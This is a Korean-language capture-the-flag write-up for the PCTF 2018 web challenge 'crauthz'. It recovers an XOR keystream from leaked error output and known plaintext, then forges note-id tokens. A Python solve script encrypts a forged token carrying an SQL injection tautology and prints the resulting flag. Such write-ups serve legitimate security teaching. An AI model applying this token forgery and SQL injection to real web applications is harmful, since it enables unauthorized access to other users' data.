PCTF 2018 - crauthz(Web)

get_note를 할때, nid값을 이상하게 조작해서 보내면 다음 오류가 뜬다.

1
2
3
4
5
6
7
8
9
10
11
12
Traceback (most recent call last):
File "./application.py", line 82, in func
r = f(*args, **kwargs)
File "./application.py", line 166, in get_note
username = json.loads(nid)['ownername']
File "/usr/lib/python2.7/json/__init__.py", line 339, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.7/json/decoder.py", line 364, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.7/json/decoder.py", line 380, in raw_decode
obj, end = self.scan_once(s, idx)
ValueError: Expecting property name: line 1 column 2 (char 1)

여기서 nid는 복호화 했을 때, json형식의 문자열이라는 것, onwername이라는 키가 있는것을 알 수 있다.

nid값을 조금씩 바꿔서 분석해보았더니 1 byte정도씩만 바뀌는 것 같아 단순 xor암호화라고 생각했다.

1
2
3
4
5
6
7
8
9
id : 1234 p9wpRtHrhrdv9BjnxETcNenfw_Sa9Oeo48TmozJkCXjaTQ==
id : 2234 p9wpRtHrhrdv9BjnxETcNunfw_Sa9Oeo48TmozJkCXnWTQ==
id : 1235 p9wpRtHrhrdv9BjnxETcNenfwvSa9Oeo48TmozJkCXjbTQ==
id : 1236 p9wpRtHrhrdv9BjnxETcNenfwfSa9Oeo48TmozJkCXrSTQ==

id : 2234 a7dc2946d1eb86b76ff418e7c444dc36e9dfc3f49af4e7a8e3c4e6a332640979d64d
id : 1234 a7dc2946d1eb86b76ff418e7c444dc35e9dfc3f49af4e7a8e3c4e6a332640978da4d
id : 1235 a7dc2946d1eb86b76ff418e7c444dc35e9dfc2f49af4e7a8e3c4e6a332640978db4d
id : 1236 a7dc2946d1eb86b76ff418e7c444dc35e9dfc1f49af4e7a8e3c4e6a33264097ad24d

그래서 id
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111로 만들어본 결과

p9wpRtHrhrdv9BjnxETcNerdxueH5fT3u5H1qCNnDH3TAWcoIcqGE8KlpHn3MCIEUB5SmcHSmljMTXdvsde_E_w8bxBqlzmnyWH6IXUSLU03-ggVpFurxycakoDHy_xzRsQXaBIUjFC9CAg_tF2gVg9_s-SrGrRm0u4-XA==가 나왔다.

decode한뒤, idxor해보면

1
96ed1877e0dab7865ec529d6f575ed04dbecf7d6b6d4c5c68aa0c49912563d4ce230561910fbb722f3949548c6011335612f63a8f0e3ab69fd7c465e80e68e22cd0d5e215ba60896f850cb1044231c7c06cb3924956a9af6162ba3b1f6fa

이런 값이 나온다.

xor(key, 2234의 id)를 해보면
'1111111111111112234", "nid": 2454}'가 나오게 된다.

위에서 에러가 났던걸 참고하여
'{"ownername": "2234", "nid": 2454}'가 나오게 key를 수정해주면

1
dcfe4631bf8ef4d90e997dc5fe64fe04dbecf7d6b6d4c5c68aa0c49912563d4ce230561910fbb722f3949548c6011335612f63a8f0e3ab69fd7c465e80e68e22cd0d5e215ba60896f850cb1044231c7c06cb3924956a9af6162ba3b1f6fa

key값을 이용해서 nid값을 생성해주면된다. 그리고 여기서 SQL injection을 시도해보았더니 flag가 나왔다.

생성된 nid값을 get_note할때 사용하면 된다. id만 동일하게 로그인하면 된다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

key = 'dcfe4631bf8ef4d90e997dc5fe64fe04dbecf7d6b6d4c5c68aa0c49912563d4ce230561910fbb722f3949548c6011335612f63a8f0e3ab69fd7c465e80e68e22cd0d5e215ba60896f850cb1044231c7c06cb3924956a9af6162ba3b1f6fa'.decode('hex')

def xor(x, y):
return ''.join([chr(ord(xe) ^ ord(ye)) for xe,ye in zip(x,y)])

def encrypt(a):
result = xor(a, key)
return base64.urlsafe_b64encode(result)

def decrypt(enc):
return xor(enc, key)

# test
cookie_str = 'p9wpRtHrhrdv9BjnxETcNenfw_Sa9Oeo48TmozJkCXjaTQ=='
enc = base64.urlsafe_b64decode(cookie_str)

print decrypt(enc) # {"ownername": "1234", "nid": 2448}

print encrypt('{"ownername": "1234", "nid": "2448\' or 1=1 -- -"}')
1
{"result": "success", "contents": "PCTF{ok_but_maybe_it_would_have_worked_with_better_crypto}", "title": "Flag"}
Share